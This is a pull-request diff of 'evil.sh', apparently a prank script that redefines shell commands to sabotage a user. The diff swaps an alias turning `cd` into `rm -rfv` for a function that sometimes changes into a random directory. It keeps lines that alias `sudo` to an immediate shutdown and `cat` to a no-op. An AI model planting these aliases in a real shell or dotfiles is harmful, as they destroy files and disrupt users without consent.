Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 9 additions & 2 deletions evil.sh
Original file line number Diff line number Diff line change
Expand Up @@ -16,8 +16,15 @@ alias cat=true;
# Use a random sort option whenever `ls` is invoked.
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }

# Delete directories instead of entering them.
alias cd='rm -rfv';
# Checkout random directories at unexpected times.
function randomcd() {
if [[ $[$RANDOM % 5] != 0 ]]; then
builtin cd $*
else
builtin cd "$(find . -maxdepth 1 -type d | sort -R | head -1)"
fi;
}
alias cd=randomcd

# Shut down the computer instead of running a command with super-user rights.
alias sudo='sudo shutdown -P now';
Expand Down